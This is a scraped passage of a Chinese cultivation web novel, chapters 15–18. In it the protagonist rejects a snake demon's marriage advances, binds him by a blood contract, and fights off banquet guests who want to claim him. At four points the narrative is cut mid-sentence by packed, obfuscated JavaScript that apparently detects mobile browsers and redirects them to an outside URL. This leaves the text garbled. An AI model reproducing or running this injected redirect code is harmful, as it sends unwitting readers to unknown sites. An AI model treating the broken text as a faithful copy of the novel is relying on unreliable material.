先前木蕊要替修君纳郎君的行为,以及系统一脸一路叨叨的‘后宫’,宴焱也下意识的以为修君是女子,而今一张俊脸怼上,倒叫他愣了愣。 不过—— 是男是女无伤大雅,眼下最主要的还是寻个契机,迫使着修君将契约签订了。 对面也在上下打量着宴焱。 出乎修君的意料,这会儿木蕊塞给他的人修有股十分香甜的气息,叫他远在殿中便嗅得一二,没忍住将人带了进来。他本是觉得猎奇,想探一探这人修的虚实,可不曾想…… 金黄竖瞳反射性的缩紧,那是蛇类兴奋的特征,修君的手不住的抬起,缓慢的蹭过宴焱的侧脸,冰凉的气息拂上面庞,叫着宴焱不住的皱了皱眉,反射性的一躲。 长得倒是惑人。 修君眉间一挑,略有些玩味的扫过宴焱的脸。 宴焱自修君凑近时就打起了十二分的精神,自第一眼望去,宴焱便察觉出眼前这妖修的实力绝对不容小觑,饶是他用元神探去,深厚的威压赫然深不见底,似乎要比自己预料中的强上不少。 这必定会是一场鏖战。 宴焱呼吸放轻,脑中千回百转。既然修君并非女子,那所谓‘纳郎君’应当就是贪图宴焱的九转灵体,将人强行拐作伥鬼。 这般行径宴焱是听说过的,可宴焱对付妖修的经历有限,心下也忐忑,凤眸一眨不眨,充满戒备的望向眼前的修君。 系统自看到‘美女蛇’变成‘美男蛇’之后便有些自闭的蹲在了角落里,划了一会儿圈圈之后才长长叹了口气,又开导了一番自己。 “算了,没有后宫收个小弟也是很好的。就是这个读者爽度会大打折扣了,可惜可惜……” 它一面说着,一面仗着修君瞧不见它,悬停在紧张对峙的二人中间,对着修君一番指点,哼哼道: “你现在对龙傲天俯首称臣当小弟还是来得及对,免得之后我家宿主又把你打的屁滚尿流,哼哼哼。” 修君自然不可能听到系统的狠话,他的唇角忽地勾起一抹宴焱看不懂的笑,一把扯开了宴焱头上的盖头,骨节分明的大手轻轻搭上宴焱的薄肩,又一路不轻不重的划过脖颈,蛇类冰冷的温度匀在指尖,一点点踱过肌理,窜上酥麻。 那是一种很奇怪的眼神,像是猎食者在打量猎物,又像是含着什么其他的特殊含义,宴焱看不懂,但暂且的将他归结于一种挑衅,一种对于所属物品的打量,叫宴焱的全身都有些不舒服。 但是哪里不舒服呢,宴焱答不上来,只是无端端的脊背发凉。暗中的灵力酝酿,蓄力,静待着修君露出一丝破绽。 下一秒,修君动了,他垂下眼睫,冰冷的指尖一点,赫然落在了宴焱腰间紧束的腰带上。 腰间,一个非常敏感的身体部位,它临近丹田,又临近主脉的起源。 只要修君的手再侧偏一寸,手下一个用力,便可以轻而易举的挖出宴焱的灵根或毁了他的筋脉。 如此狠毒!! 宴焱微微眯了眯眼,呼吸放缓,手部筋络绷紧。 修君残暴,他是听说过的。原先以为人修被妖修所御作伥鬼应当是只签约了魂契,不曾想这修君手段如此恶劣,竟然还要先断了自己的灵脉,再行签订契约! 眼见着修君又是一动,这会儿修长的指节直接勾住了细薄的腰带,轻轻的,犹如挑衅般的划了划。 猫捉老鼠。 宴焱的脑中无端端的闪过这般形容。不一刀致命,而是慢慢的挑逗着猎物紧绷的神经,欣赏他们在被斩杀前挣扎的模样,一点点磨损猎物的意志,以取悦自己。 果真是恶毒的大妖,手段赫然阴险,折磨人的手段如此阴毒。 修君一瞬不瞬的盯着手下那寸窄腰,喉头紧了紧。勾着腰带的动作又是一重。 很细,他想。 怎么会这么细呢,他方才掀开盖头时用手比了比,才那么点,如若轻轻揽一揽,应当就能很轻松的拥入怀里。 明明是个天赋异禀的人修,为何生的如此一张美人面,叫人喉头发紧,浑身的血液都要兴奋的沸腾。 修君好像很久没有尝过这样激动的滋味了,原本他只是想探一探这人修的虚实,没想到,不仅仅是天赋叫他惊诧,连姿色也叫他眼热不已。 “你叫什么名字?” 修君滑动的手指一顿,忽地掀起眼帘,轻声开口问道。 他知道自己以前名声不好听,唯恐惊吓了人修,特地放柔了声音。 “宴焱。” 宴焱言简意赅,只是神色分明凝重,微不可查的紧张起来。 签订魂契是需要契者姓名的,有人修不答应时,往往会招致妖修搜查元神的酷刑。宴焱不想而今马上激怒修君,只好先暂且缓住修君的行动,暂待时机。 “焱焱?很好听的名字。” 修君不动声色的往宴焱身侧凑近了点,眼睫垂落,目光轻轻扫过宴焱一张一合的饱满唇瓣,像是察觉出了他的紧张,轻声安抚道: “你不必紧张,这应当是你第一次吧,没事的,我也是第一次,没什么好怕的。” 第一次? 宴焱心中冷哼一声。这妖修天天掠夺各地奴仆,想来被他奴役当作伥鬼的人修定当不在少数!什么第一次签订魂契,真当是满嘴鬼话,什么都说得出来,恶劣至极。 见宴焱低着头,不做声。修君也顿了顿,绞尽脑汁的在脑中搜刮一些可供人拉近距离的话题,可找来找去,却不知道该说些什么,只能颓然的又同宴焱凑近了些,企图从距离上拉近一点儿关系。 他们的姿势很尴尬,修君的手还搭在宴焱的腰间,另一只手有意无意的就要搭上宴焱另一边的肩头,将人往怀里揽。 偏偏这妖修不知是吃什么长大的,肩膀宽厚,轻轻一用力,宴焱近乎整个人都要被他拥入怀中。 很奇怪的姿势。 宴焱抿了抿唇肉,不置一词,但总觉得哪里怪怪的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那眼神,宴焱又是说不出来的古怪,像是粘稠的姜糖,叫人一触及便有些左右不适。 那几页很快的翻过,修君再翻到下一页时,手的动作忽地变慢了,宴焱能察觉到他的气息蓦地有些凌乱,似乎是受到了什么很大的刺激。 莫不是功法的内容太过于血腥,以至于如同修君这般的人都要惊讶一二? 宴焱思绪一顿,这才将视线缓缓落在了书扉之上。 却见那工笔细描的画卷,原本运功相斗的两人不知为何忽然以一种宴焱从未看过的诡异姿势缠在了一起,皮肉相贴,肌肤摩动…… 随着宴焱的视线向下探去,忽地目光一颤!宛若雷劈! 那处似乎是特意被画的格外仔细,画者还专门切了一个画卷,细细描绘他们相接的地方! 细水泛滥,白浪起伏,红肉相缠。 !!不是哥们??? 宴焱心头发凉。 还不如给我看血腥画面呢!! 16. 第 16 章 宴焱像是被石化了般,一寸寸僵硬的转过头。 似乎是察觉到宴焱骤然投来的视线,修君也一并转过了头,同宴焱目光相接,只是这次,那粘稠的目光还多了丝火热。 宴焱:…… 宴焱深吸了口气,不死心的颤着声,想向修君确认道: “你不会是想把我当作飞机……泄欲工具吧?” 宴焱的心凉凉的,话到临头,还是换了个较为内敛的说辞。 修君的目光还死死锁定在宴焱一张一合的饱满唇肉上呢,骤然听见宴焱没头没尾的这么一句,蓦地一愣。 “焱焱,你在想什么呢?” 他轻笑,桃花眼眯起,俊逸的面上满是嗔怪。 听到他这么一句话,宴焱高悬着的心蓦地放了下来,忍不住的长吁出一口气。 就是说,这里是男频,怎么可能会有这样的事情发生呢?这话本大概是意外罢了。 是打着做伥鬼的主意就好,做伥鬼好啊,做邪修好啊,起码不是男人奸男人这样骇人的事情。 可没等宴焱松气多久,修君又眼睛亮晶晶的开口了: “我怎么可能舍得这么对你呢。我们当然是明媒正娶的道侣呀。对了……” 宴焱:……? 他不忍听下去了,只觉得自己的呼吸都在冒火,眼睛重重的一闭,又睁开。 那很坏了,不是做噩梦。 像是嫌弃对宴焱打击不够大似的,修君又顿了顿,羞涩的低下了头,企图朝着宴焱凑近些,声音带着点儿哑意: “焱焱可以转过去吗,就像话本里这样,然后什么都别问好不好。疼是正……” 迎接他的是宴焱愤怒的一拳。 宴焱也不管什么时机不时机的了,他现在满脑子只有揍人这么一个念头,所以下手极狠,就这么朝着修君那双含情脉脉的桃花眼砸了下去。 修君也没躲,就这么结结实实的挨了宴焱一拳。 但很显然,单单□□相搏宴焱是无法对修君产生过多的侵害,作为修为极高的妖修,区区一拳自然无法伤他分毫。 再一抬手,果不其然,修君俊美的脸上一点痕迹也无,只是鼻尖无端端的涌出了两股红艳艳的血来。 宴焱收回手,眉尖一蹙,又气又困惑。 他又没有揍修君鼻子,怎的眼眶没肿,鼻子倒是先流血了? 只听修君重重猛哼了声,却不是疼的,而是憋的。 他张了张嘴巴,像是渴水极了,声音哑的不像话。 “焱焱好香……” 方才那一拳挥来,他没觉疼,只是觉着面前一阵香风飘过,又是那熟悉的香甜气息涌入鼻端,就连宴焱的拳头落在他身上时,他也只觉得宴焱的肌肤极软,同他皮肉相接的时候,不自觉的就一股无名火从身上涌起。 宴焱和修君本来就挨得很近,因为宴焱要抬手揍修君的缘故,姿势便又换做了宴焱略要比修君高一些,近乎是要跨坐在他身上。 所以当又硬物轻轻的怼上尾椎骨时,宴焱的感觉格外明显。 一时间,举在空中的拳头也僵硬了,宴焱面色变了又变,变了双变,变了叒变。 有那么一瞬间,宴焱宁愿身后抵着的是修君暗藏的刀子。 宴焱深深吸了口气,又吸了口气。只觉得脑子嗡然一片,怒火直冲脑门,攥成拳头的手都在微微颤抖。 什么时机,什么暗谋,什么忍耐统统都被他忘在脑后了,他脑中只剩下了‘揍人’这两字。 死男同!!! 又是一拳狠狠落下,这回打在了修君的右眼上。宴焱也没顾得上掩藏自己的灵力波动了,蕴含着十成灵力的拳头就这么揍在了修君的脸上,一拳接着一拳,拳拳生风,不知多少招之后,宴焱脑中这才清明一二,手下的动作放缓,一只手扼上修君脖颈,灵气氤氲。 “你再……信不信我就把你那东西剁了??” 宴焱说这话的时候连牙尖都在打颤,他真是搞不懂这些男同了。他虽说外貌没有剑修那般魁梧,但自诩也不少男人味,怎么一个两个的都把他当女人来发春了? 宴焱越想越不明白,制着修君的手愈发紧了。只是他的手白净修长,从上至下扼住修君那脖颈时,叫人能清楚的仰望看清他漂亮的下颚线,以及那双因愤怒而生动的凤眸。 修士缺氧并不会死亡,仅是略微的会有些难受,因此修君除却轻微的窒息感,脑中唯一感受到的便是那白嫩的指节压在脖颈上的触感,肌肤相贴,将自己蓬勃的脉搏通过薄薄的皮肉传递到对方的手下,像是心脏在一并震颤。 眼见着自己一通泻火下来,修君不但不收敛一二,反而那视线愈发黏腻,甚至连‘刀子’也逼得也越发紧,一点儿也不知悔改。 冷静。 宴焱对自己说。 他真的很想就这么不管不顾的将人弄死。但一来是修君的修为的确高,若是要弄死他确实要费一番功夫,二来是合适的契约对象是在难找,云梧又不知何时会发现自己的威胁,时间紧迫,能早些做准备自然是最好的。 修君的实力摆在这里,宴焱实在不肯放过这个香饽饽。 又是强迫自己多深吸了几口气,宴焱这才强行冷静了下来,思绪清明了些,方才被愤怒掩盖的理智回笼,立刻意识到这是个绝佳的契约时机。 虽说着姿势略微有些诡异,但宴焱为了提升实力也顾不得太多了,暗自用灵力逼出一点儿心头血,他的动作很快,艳红的一点血匀在指尖,于此同时,系统的奖励被调用,逼着修君抬头瞧他。 意识到不对劲,修君金色瞳仁一缩,盯紧了宴焱指尖的那点血红,心头一震,颇有些委屈的开口问道: “焱焱可是要契约我?” 他早在接近宴焱之时便认出他的九转灵体,旁人不知九转灵体的妙处,但他作为威震一方的地头蛇还是知道点儿内情的,见宴焱这般动作,自然猜到了他的目的。 近乎是可怜兮兮的,修君又将目光移向了宴焱指尖匀着的血红,面前的人修清冷绝艳,那眼神似乎要把他刀了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258166|166460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般,做出的事也是如此狠绝,叫人心头纠紧。 于是修君楚楚可怜的攥紧了眉,俊逸的面庞满是委屈,企图用‘美男计’感化宴焱。 “郎君,在这你我新婚之夜,你真的狠得下心吗?……” 这不说还好,一说宴焱更是被他雷得外焦里嫩,手下动作愈发迅猛了,嘴上反驳的声音略显崩溃: “谁和你新婚之夜了??谁要和一个男的新婚之夜啊??!!” 一面说着,宴焱一面加紧速度,企图将心头血强行喂到修君的嘴巴里。 素白的指尖凑近了一寸,修君本想反抗一二的,但一见那指尖,登时也忘记了自己的目的,直勾勾的盯紧了逐渐凑近的指节,在宴焱企图要掰开他嘴巴灌入之前,先行张开了嘴。 蛇类冰凉的舌尖蹭上了指尖,轻轻的舔了舔,也一并将指尖的红血卷起,毫不客气的吞入腹中。一面吞咽,一面抬眸期待的望向宴焱。 宴焱:…… 不知道为什么,尽管血被很顺利的注入了修君的体内,但他总觉得高兴不起来。 契约的成功比宴焱想象中的顺利,他狐疑的又看了眼修君,近乎要疑心这修君是不是留了什么后手阴他,但对上宴焱眼眸的只有一双可怜兮兮的桃花眼,无辜极了。 下一秒,修君又莫名其妙的来了一句: “契约?也是不错的选择,那我现在叫焱焱什么呢?” 他顿了顿,仿若有些羞涩道: “主人吗?” 宴焱一蹙眉,虽然觉着修君这叫法略有些不对,但终究挑不出什么错处,只好勾了勾指尖,感受着契约凝成后修君体内磅礴的灵气,撇开眼道: “随你怎么叫。” 九转灵体的体质很特殊,既可以如普通契约那般御使灵体,也可以将灵体的灵力为己所用,以达到短暂的‘灵体附体’效果,如若继续将修为提高,甚至还能解锁其他诸如操纵陌生百魂的技能。 譬如溟而今的实力在化神中期,那么宴焱如若进行灵体附体的效用,则是可以在短期内将自身的修为提升到化神期。 但这样逆天的技能过于晃眼,所以宴焱并不打算在修为尚且弱小时使用,能藏一时是一时。 选择性的掠过修君莫名其妙炽热的视线,宴焱轻轻皱着眉,将自身乱七八糟的衣物整理好,又理了理衣冠,这才抬手,将崩溃的系统从角落里拎了出来。 系统刚刚目睹了全程,饶是之前有魂灵经验的铺垫,看到了画卷的系统还是有些思维过载,此刻正在角落绝望的画圈。 绝望的系统已经能想到读者老爷们在评论区痛骂退钱的画面了,先前本来准备的后宫情缘没了也就算了,居然还有男人觊觎男主的身子! 这遭若是发出去,定然是一通骂声如云,业绩挂零蛋了! “完了完了完了完了完了。” 系统被拎起来的时候,嘴里还在无意识且麻木的念着。一想到而今的惨状,它便眼前阵阵发黑。圆滚滚的躯体硬硬的,仿若死了许久。 17. 第 17 章 宴焱单手拎着系统,晃了晃,又晃了晃,见系统似乎伤心得没什么反应,只好收手作罢,将系统揣入了袖中。 修君被契约之后,宴焱便可以调用其灵力,浅略估计一二,修君的灵力应当有洞虚期的水准。但由于宴焱此刻的境界尚且不高,能够调用的灵力应当只有化神后期。 溟和修君两者都能比肩化神的情况下,一个接着一个的恢复灵力源,轮番作战,那么六界论道大会上,自己的赢面又多了几分。 宴焱垂下眼睫,细细思量打算好了之后的计划。这才将目光落在了一边的修君身上。 他的目光实在过于炽热,叫宴焱浑身都有些不舒服。宴焱对修君这般快速的束手就擒还是心存提防的。堂堂一方大妖,被自己契约的时候居然连一声都不吭,实在是叫人难以放心。 感受到宴焱戒备的视线,修君脸上又显出了那副熟悉的笑脸,暧昧不清,眉目含情,吓得宴焱又急忙转开了视线。 真可怕。还是别想了。 幸亏系统先前的奖励中有空间这么一项,修君也有了去处,白光一闪,修君便被宴焱强制性的关入了空间之中。 修君倒是逆来顺受,很快化作修蛇原型,攀上了空间中的一处树枝,只是在得到宴焱叫他养足精神的命令之后,吐了吐蛇信,略带撒娇意味道: “主人真的不要我帮忙吗?我那些部下一个个可不是好惹的,若是主人就这么出去了,要是被为难了怎么办呀。” 宴焱被雷得一身鸡皮疙瘩都出来了,咬牙切齿道: “不用你操心。” 此地不宜久留,宴焱干脆利落的踹开了宫殿的门,宫殿廊外红绸高挂,远处一派喜乐之声,打远就瞧见先前那长长的宴席。 宴焱尝试从偏门处走出,但修君不知有个什么癖好,将宫殿建得如同迷宫,错综复杂,饶是有系统帮忙,宴焱还是寻不到出口。 修君又一次开了口: “主人还是不需要我帮忙吗?” 宴焱本来都想要走走捷径,但被修君这么甜腻腻的一问,登时把这想法咽了回去,一蹙眉,冷声拒绝道: “不用!” 宴焱就这么又兜着转了几个圈,方才迈入一道窄门,入目又是一模一样的宫殿陈设,原来是又绕回了原点。 瞧着眼前那高大厚重的金门,门后有丝乐之声传来,赫然是先前来时的长殿。 怎么又回来了。 宴焱拧着眉,他本便因为方才修君的那副模样心头憋着点气,而今这般回回绕绕出不去的处境,更叫他心头火气更盛。 从偏门出不去,那便破了主门! 于是他长腿一迈,恶狠狠的踹了上去。 ‘碰’的一声重响,突兀的响彻在了长殿之上。厚重的金门被豁然踹开,一道身影缓缓从门后走出,在场原本举杯还在攀谈的一众妖魔登时目光交汇—— 熟悉的红褙,只是这时候没了红盖头和碍眼的小轿,将那人的身形看得清清楚楚。 一张惑人而不失俊逸的美人面,骨肉停匀,素颈如腻玉,只是眉头紧攥,像是在恼些什么。 木蕊是第一个反应过来的人,瞧见宴焱这么快便从主君殿内出来,眉头一皱,心下也有了定论。 又是一个勾引主君不成的人修……当真是没有用。 木蕊沉着脸,坐在一侧高座上,冷冷盯着迈腿向前走的宴焱。 和修君有些交情的都知道,这些年来木蕊这个忠诚的部下为了修君每月的发情期那可是费了不少心思,但无论木蕊从何处搜查美人,没有一个能入得了修君的法眼,一个个都免不了被修君一脚踹出门的命运。 宴席开始之时,便有人打探木蕊的去向,得到的风声便是木蕊又在鬼市中瞧上了一位姿色难得一见的美人,正打算将人抓来献给修君呢,不曾想…… 不少火辣的目光不着痕迹的落在了宴焱的脸上,众人心思各异。 修君居然连瞧见俊俏的人都不肯动凡心?瞧着这美人就这么被逐出殿外的模样,倒真叫人心下不忍,想要细细抚开他眉间紧皱的愁思才好。 先前便有些想法的妖魔而今更是蠢蠢欲动,瞧了几眼木蕊的面色,便有些按耐不住了。 宴焱察觉到周遭人纷杂的视线,微不可查的蹙眉。但这倒也是在他的意料之中,修君一朝被契约,这些宾客又都是些在六界中叫得上名号的妖魔,自然会察觉出一些异常,来找自己麻烦的定然不少。 他先前不想从主殿出去便是这个原由,宾客三千,不知有多少憋不住的要在这关头使坏,情况复杂多变。 但眼下已然破门而出,就算有什么不长眼的再跳出来,也只是几个鞭子解决的事情…… 细细思量之下,宴焱更是留心着周遭的动向,果不其然,有几位妖魔的灵力已然蠢蠢欲动。 长殿宽敞,中间是一道玉色长毯,左右各是入座宾客三千,而今宴焱肆行无忌的踏在长毯之上,自是吸引了不少人的瞩目,原本觥筹交错的筵席骤然安静了几个度,有人看戏,有人伺机而动,气氛像是骤然凝结绷紧的线条,但待有人将这薄弱的细线挑断。 当宴焱继续向前迈出几步后,终于有妖魔憋不住了,横出一只手,慢悠悠的轻佻道: “慢着,别走啊。” 宴焱一侧眸,抬起眼帘,冷冷睨去。 出声道正是妖界有名的一方大妖,名唤白齐,原型是只白虎。他脾气暴躁惯了,最是喜爱收集炉鼎美人,好色之名响彻六界,有不少姿色不凡的修士惨遭他势力的毒手,但可惜这妖怪狡猾不已,饶是仙界悬赏数万灵石至今却还是逍遥法外。 白齐这一嗓子倒是所有人的意料之中。 那色眯眯的视线刮过宴焱的侧脸,目光又落在被衣襟摺叠掩盖之处,雪白的脖颈弧度优美,叫人打心眼里想看看这衣衫下的春色,白齐贪婪的瞧了一眼又一眼,重重的咽了口唾沫,笑道: “道友这么着急走是为何?修君不喜欢,不代表其他人不喜欢,不如道友你就趁着这个好机会,在这儿挑一个好的主子,从了便是,这也是一方佳话呀。” 宴焱眉头一皱,步履微滞,将目光落在了那白虎的身上,思绪一顿。 什么主子?什么喜欢不喜欢?莫不是这人还想效仿邪修,再将人御作伥鬼? 但历经了修君一事,宴焱心下对这些莫名其妙开腔之人多了点提防,唯恐又是什么奇奇怪怪的断袖,于是不着痕迹的撇开一寸,道: “别挡我的路。” 那白齐也不恼,笑眯眯的就开了口,又加几分筹码,企图让宴焱松口: “灵石万两,随你挑选……” 他一面说着,一面往宴焱的方向凑了凑,低声狎昵道:“我这人最喜欢怜香惜玉了。” 宴焱眉尖一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258167|166460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跳,心底隐隐有种不好的预感。 不会这么倒霉,又遇到了个断袖吧? 没等宴焱再开口动作,另一侧忽地又有人发话了,这一次是个状似修雅的魔头,手持一把白扇,笑吟吟的就插了话,虽说面上和善,但字里行间夹枪带棒: “天下谁人不知白兄府邸佳人如云,这般美人到了你那,不是白白受苦吗?” 他笑着一合扇,随着‘啪’的一声,就是一道罡风猛的朝着白齐的方向飚去! “不若白兄忍痛割爱,将他让于我如何?” 那修雅魔头正是六界通缉榜上赫赫有名的千手老鬼!百年前一己之力屠了南边闫州某个中型宗门,逃亡魔界,尚且逍遥至今。 这筵席,来的都是些什么穷凶极恶之徒? 像是猜到了宴焱的想法,修君慢吞吞的从树梢里探出了个头,传音给宴焱,辩解道:“主人,我才不是这样的人,是他们这些人实在好用,不然我不会和他们同流合污的,你可要明鉴啊!!” 宴焱没理,干脆利落的将传音掐断。 那一道罡风赫然切下了白齐的一缕发丝,这下彻底惹恼了本就脾气暴躁的白齐,他怒喝一声,一拍桌子,就是站了起来,指着那魔头大骂出声: “你个死东西!!胆敢抢老子的炉鼎??找死!!” 这么说着,白齐便攥紧了拳头,狠狠的越过了那木桌,径直朝着魔头挥舞而去! 他的动作粗鲁,力道又大,霎时间噼里啪啦一阵响动,将一众银壶玉桌都掀开来,拳头虎虎生风,那魔头也不甘示弱,轻举扇尖,对准了白齐,便是猛然一敲—— 白光乍现,二人各负些伤处,脸上都挂了彩,打斗的地方更是狼藉一片。 高座上的木蕊皱了皱眉,瞧着这般闹剧,终于出声道: “够了。而今主君既然不喜这人修,在座各位都是远道而来的客人,我自会将他送予宾客。” 木蕊振声而谈,用了内力,将声音传入了筵席各处,瞧见主人家的话事人发话了,在座各位妖魔这才熄了点火气,将目光投向他。 “大打出手太伤情分,不若个投掷游戏,把这炉鼎当作彩头,如何?” 分明是决定宴焱的归处,但木蕊说这话时却只是轻飘飘的,连个目光都不曾在宴焱身上逗留,这一番言语,更是将宴焱如同物品般置换利益。 在他眼里,一介筑基散修能有什么主话的权利?能为他谋取些利益,便是这散修的福份了。 白齐听了木蕊这话,瞥了眼魔头,冷哼一声。 说到底,木蕊也不过是个用灵丹妙药堆砌到化神初期的妖魔,在场有不少人的修为都要比他高些,但修君尚且还在主殿中休憩,打狗也要看主人,落下了木蕊面子便同于不给修君面子,没人想得罪了修君。 虽心有不甘,但白齐和魔头还是沉着脸,坐回了位置上。 在场摩拳擦掌的妖魔还不在少数,一时间这筵席中又忙活开了,摆壶的摆壶,热身的热身,修君阔气,殿中备好的玉箭都是上乘的,随从们一溜的上了箭,就等着各位宾客们投掷呢。 只是—— 本站在原地看戏的宴焱忽地冷笑了声,那声音不大不小,却恰恰好传入了筵席各处。 “把我当奖励?” 他顿了顿,舌尖一滞,像是有些气笑了。 “经过我同意了吗?” 18. 第 18 章 不知为何,周遭忽地静了几秒,无数视线戏谑的落在了宴焱的身上。 这人修是发疯了吧??在场这么多大能,真以为自己能逃得掉吗? 木蕊更是嗤笑一声,落下一寸目光,扫了眼这不知好歹的人修。 马上要沦为炉鼎的人,竟然还如此拎不清楚是非,这般嚣张的作态,真以为自个凭着区区筑基初期的修为能逃出生天不成? 有妖魔憋不住话,先一步笑开了,指着宴焱鼻尖嗤笑道: “区区九转灵体,能筑基已是不易,你还想反杀不成?” 被他这么一起头,周遭本来安坐的宾客也一并齐齐笑出了声,更有甚者,许是喝了点小酒,就这么摇摇晃晃的从座位上下来,轻佻的就要去揽宴焱的肩头。 宴焱黑着脸,躲了过去,太阳穴跳了又跳。近乎是在强行憋着一口气。 “小美人,你就别躲了,做炉鼎有什么不好的,有人依靠,也不会叫你今后孤苦无依。” 那人被宴焱闪过了也不恼怒,而是愈发亲昵的就要去掐宴焱的脸。 “你是不知道,我们最喜欢你这般散修沦落而成的炉鼎了,身段好,韧性也好,什么姿势都能……” 他这话没说完,但宴焱也不是个傻的,自然明白他的意思。 白净的指节一点点圈紧,掐下一道月牙型的白痕。 这、群、断、袖!!! 偏偏还嫌弃火上浇油不够似的,高座台上的木蕊又发话了,只手撑着面颊,不耐的皱着眉,似乎耐性告罄。 “你还以为在座的各位宾客是那废物鬼君吗?当初让你运气好些了,才得以灭了那好色的鬼君,在座如此众多大能,你居然还不知好歹想逃出去?” 他一面说着,一面施施然的从座上下来,缓缓抬起一只手,掌中就要运起灵力,朝着宴焱重新施压。 “真是不知天高地厚……”木蕊高高在上的启唇,面色森冷。 一股强劲的,蕴含着化神期恐怖威压的灵力波一路顺着玉阶之上汹涌而来,眼见着就要狠狠的压在宴焱的脊梁骨上! 白齐高高一挑眉,心下暗道这木蕊倒是真下得去手,如此不怜香惜玉,冲着这么个美人都能用如此狠绝的手段。 这怕是明面上借着收拾这炉鼎,实际上是树立自己的威信罢了。 在座心思各异,不少人抱着看戏的念头,虽说有妖魔是看上了宴焱,但终究只是个不听话的炉鼎,没人犯得着为了一炉鼎去与木蕊争锋。 再者,如此不羁的性格,多调教调教,到时候玩得才带感些。 眼见着那股灵流势如破竹半冲向了宴焱,在场众人却无人拦截,反正只是一股灵流,又不会伤及根本,给他点小小点教训也是…… 忽地,宴焱动了。 他猛的从鬓旁抽开了一道鞭影,指节用力的攥紧了鞭柄,牙关紧咬,近乎是一字一句道: “都给我去死!!!” 那道鞭影蕴含着浓厚凌厉的灵力流,仿若裹挟着泯灭一切的杀意,直直冲着木蕊的方向狠狠抽去!! 木蕊瞳孔骤然一缩,侧身想躲开一寸,可惜已经来不及了,那骨鞭出奇的快,只是一道近乎不能被捕捉的虚影晃过,尖锐的银芒便猛的扑来—— 鞭子尾部带着倒钩,烁着冷色的光,像是兽类冰冷的瞳孔,近乎是瞬间逼近木蕊的鼻尖。 不好—— 木蕊心中警铃大作,立刻抬手,企图用灵力止住他的动作。 但奇怪的是,当初分明就算是他那灵宠加持也不过是化神初期的修为,但而今他的修为忽然暴涨,那雄厚的灵力汹涌而来,那恐怖威压绝对不止化神期!! 木蕊心下暗叫一声不好,反射性的察觉到了危险的临近,指尖发颤。 怎么会!! 但宴焱没有给他过多震惊的机会,近乎是下一秒,那鞭影就强硬的破开了木蕊反制的灵力屏障,冲着他的面中狠狠甩去! 刺啦—— 是皮肉迸裂的碎响。 鲜血犹如瀑流,哗啦哗啦的朝着脖颈下方流动,木蕊痛苦的嘶叫一声,近乎要被逼出原型,肩膀之上疯狂的抽枝出细长的枝杆,此刻齐齐痛苦的扭动着,嘶吼着,他蜷缩紧了身体,捂了捂破相的脸,像是在确认什么。 “你找死!!” 木蕊在鬼市就已经探过宴焱的虚实,的确是筑基期没错,连他那小灵宠最多也不过是化神期的修为,不可能会有如此可怖的威压,这么快的时间段成长到如此境地,最大的可能不过是用了什么丹药,将修为短暂的提升…… 指尖确认到血水的温热,木蕊的唇瓣发颤,一会儿又骤然崩溃的抬起头,顶着那一面血水奔涌的面颊,宛若厉鬼,双手成爪状,就要抬起手继续朝着宴焱冲来! 这一次的突袭带了木蕊十成的力道,近乎就是冲着要将宴焱一击至死的目的去的! 木蕊的动作很快,他眯起了眼,长长的指甲马上就要触碰到宴焱面上温热的皮肤,木蕊的瞳仁兴奋的又一缩,脑中能想象出宴焱被他击杀后血水的温度…… 温热的,滚烫的,那样一个惑人的脸,临死前的表情应该是相当的美妙吧…… 就在木蕊的表情逐渐疯狂之时,宴焱又动了,他以很快的速度闪过了木蕊的这一击,同时高高举起手,骨鞭随着他的动作轻轻晃动。 那晃动的弧度分明很小,但力道却有千钧之重,轻轻一拨弄,就如同海啸山摇般卷起一股磅礴的威压! 这一次,木蕊真真切切的感受到了那股力量的强悍。浑厚,磅礴,绝对不止是化神期!! 死亡的来临比他想象中的要快。 骨鞭不再是冲着木蕊的面中袭去,而是直接干脆利落的抽在了木蕊的脖颈之上,啪的一声脆响,骨鞭的倒钩便牢牢嵌入皮肉深层,再一甩鞭,赫然是血肉奔涌,皮肉迸裂! 下一秒,木蕊像是死鱼一般被狠狠的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258168|166460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甩飞了出去,重重的跌落至殿中角落,低垂着脑袋,俨然气息微弱,马上就要神魂具散。 殿中骤然陷入了一片死寂。 